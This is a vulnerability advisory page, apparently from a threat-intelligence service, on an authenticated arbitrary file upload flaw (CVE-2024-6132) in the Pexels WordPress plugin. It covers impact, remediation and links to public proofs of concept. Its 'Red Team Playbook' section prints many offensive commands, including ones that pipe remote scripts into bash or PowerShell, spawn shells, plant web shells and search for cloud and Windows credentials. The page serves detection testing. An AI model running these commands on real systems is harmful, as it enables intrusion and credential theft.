CVE-2024-6132
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the 'pexels_fsp_images_options_validate' function of the Pexels: Free Stock Photos WordPress plugin. The affected component is the image options validation mechanism present in all plugin versions up to 1.2.2. The root cause lies in the failure to enforce proper file type restrictions, enabling unauthorized file content to be accepted and stored on the server.
Vulnerability Description
The Pexels: Free Stock Photos plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'pexels_fsp_images_options_validate' function in all versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with contributor-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor-level or above permissions can exploit this vulnerability to upload arbitrary files to the affected server, potentially leading to remote code execution if the uploaded files are executable. This requires authenticated access to the WordPress backend, aligning with the CVSS vector's requirement for low privileges (PR:L) and no user interaction (UI:N). Successful exploitation can result in unauthorized control over the web server, data compromise, or further lateral movement within the network.
Solution
Users should upgrade the Pexels: Free Stock Photos WordPress plugin to a version later than 1.2.2 where the file upload validation has been implemented. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/79dd492e-d4da-4209-83a8-d8059263ae92. Administrators are advised to review the plugin’s settings.php file, particularly the 'pexels_fsp_images_options_validate' function, to confirm that file type validation is enforced before deployment.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Pexels: Free Stock Photos plugin for WordPress arises from inadequate file type validation within the 'pexels_fsp_images_options_validate' function. This flaw allows authenticated users with contributor-level permissions or higher to upload arbitrary files to the server. The absence of stringent checks on the file types being uploaded means that attackers can exploit this weakness to upload malicious scripts or executables disguised as legitimate files. Such files can then be executed on the server, leading to potential remote code execution, which poses a significant threat to the integrity and confidentiality of the affected systems.
Exploitation of this vulnerability can occur through several attack vectors. An authenticated user, such as a contributor or editor, could leverage the plugin's functionality to upload a file that appears benign but contains malicious code. For example, an attacker could upload a PHP script that, when executed, grants them unauthorized access to the server or allows them to manipulate the website's content. Once the malicious file is on the server, the attacker can execute it by navigating to its URL, leading to a full compromise of the web application and potentially the underlying server infrastructure. This scenario highlights the critical need for proper access controls and file validation mechanisms in web applications.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on their online presence for revenue generation. Successful exploitation could lead to data breaches, loss of sensitive information, defacement of the website, or even the complete takeover of the server. The business risks associated with such incidents include financial losses, reputational damage, and legal ramifications stemming from data protection regulations. Furthermore, the presence of malicious files can be used to launch further attacks, such as distributed denial-of-service (DDoS) attacks, against other targets, thereby extending the impact beyond the initial compromised site.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify weaknesses in their web applications, including those related to file upload functionalities. Employing web application firewalls (WAFs) can provide an additional layer of security by filtering out potentially harmful file uploads based on predefined rules. Additionally, developers should enforce strict file type validation and implement measures such as whitelisting allowed file types and using secure coding practices to prevent similar vulnerabilities from being introduced in the future. Keeping plugins and software up to date is also crucial, as updates often include patches for known vulnerabilities.
In conclusion, the vulnerability within the Pexels: Free Stock Photos plugin for WordPress exemplifies the critical importance of robust security measures in web applications. The potential for arbitrary file uploads due to inadequate validation can lead to severe consequences for organizations, making it essential to adopt comprehensive security practices. By understanding the technical details, potential attack vectors, and implementing effective detection and mitigation strategies, businesses can significantly reduce their risk exposure and protect their digital assets from exploitation.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-6132, rising by over 19% to a current level that places it near the top percentile of predicted exploitation likelihood. This upward trend, supported by a steady week-over-week increase, reflects growing attacker interest and potential weaponization of the vulnerability. Concurrently, new proof-of-concept exploits have surfaced publicly, lowering the barrier for threat actors to develop functional attack tools targeting authenticated users with contributor-level permissions or higher. These developments heighten the urgency for defenders to prioritize detection and monitoring efforts around this vulnerability, as the risk of successful exploitation and subsequent remote code execution attempts has become more imminent. The evolving exploit landscape and increased predictive scores collectively elevate the threat level, signaling that CVE-2024-6132 is transitioning from a theoretical risk to a more actively targeted vector within WordPress environments.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-6132
Pexels: Free Stock Photos <= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload
|
Nxploited | 2 | 0 | 2025-03-11 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6132 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/79dd492e-d4da-4209-83a8-d8059263ae92?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wp-pexels-free-stock-photos/trunk/settings.php#L239 |